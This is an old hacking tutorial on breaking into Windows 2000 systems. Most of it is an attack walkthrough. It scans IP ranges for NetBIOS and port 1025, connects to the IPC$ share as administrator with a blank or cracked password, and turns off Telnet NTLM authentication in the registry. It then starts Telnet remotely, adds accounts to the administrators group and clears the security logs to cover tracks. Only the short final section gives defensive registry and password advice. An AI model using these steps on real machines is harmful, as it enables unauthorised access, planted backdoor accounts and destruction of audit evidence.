8: How to protect your Win2k system from this attack
---------------------------------------------------------------------
You need to be running a Win2k system:
Superscan version 3.00 by Foundstone (246kb). Homepage
NetBrute Scanner 1.0.0.7 (247KB). Homepage
PQWak V1.0 (24KB)
----------------------------------------------------------------------
1: Scanning for open Win2k systems
A. Open SuperScan 2.05 (Port scanner)
B. Select a IP range
C. Check "Only scan responsive pings" and "All selected
ports in list"
D. Only scan ports 139 (NetBIOS), and 1025 (Network
Blackjack)
E. When a system with both Netbios and BlackJack is found,
open NetBrute, and scan that IP to see if there is an IPC$
2: Connecting to the IPC$
A. Open a DOS window
B. Type in " net use \\ipaddress\ipc$ ""
/user:administrator "
C. If you connect to the system, it will say, " The command
was completed successfully "
D. If it says, “bad username or password”, Try running
PQWak.exe to crack the share name password. Then insert the
password like so:
net use \\ipaddress\ipc$ "password" /user:administrator
E. Users usually have only one password for everything. So
try the c$ share pass as the administrator password to
connect to the IPC$
3: Connecting using Computer Management
A. Open Computer Management.
B. Click “Action”, then “Connect to Another Computer”
C. Type in the IP address.
4. Disable NTLM
A. Open “regedit”
B. Connect to the following registry key:
HKEY_LOCAL_MACHINE--Software--Microsoft--Telnet
Server--1.0—->NTLM
C. Set the value data from (2) to (1)
D. That will enable login to the telnet server without
being connected to the IPC$ or a trusted domain.
5. Starting the Telnet service
A. In Computer Management, click “Services and
Applications”
B. Click Services
C. Right click on the Telnet Service and open Properties.
D. Set the service to Automatic, and start the service.
6: Creating user accounts and adding them to a group
A. Open a dos window, and type the following: telnet
IPaddress
B. If prompted to type a username and password, type
Administrator with no password.
C. To create a user account, type the following: Net user
username password /add
D. Replace “Username” and “password” with whatever you
like.
E. To add a user account to a domain, type the following:
Net localgroup administrators username /add Or Net group
administrators username /add
7: Covering your tracks
A. Open a dos window, and type the following: Net use
\\ipaddress\ipc$ /delete
B. While logged on to Computer Management. Check if the
Security Logs are being audited in Event Viewer. If they
are, clear them. :-)
8: How to protect your Win2k system from this attack
A. Open Regedit
B. Connect to the following:
C.
HKEY_LOCAL_MACHINE--System--CurrentControlSet--Control--Lsa-->restrictanonymous
D. Change the "Value Data" from 0 to 1. It should say
0x00000001(1)

F. Always have a complicated administrator password with
Windows2000 or any other OS
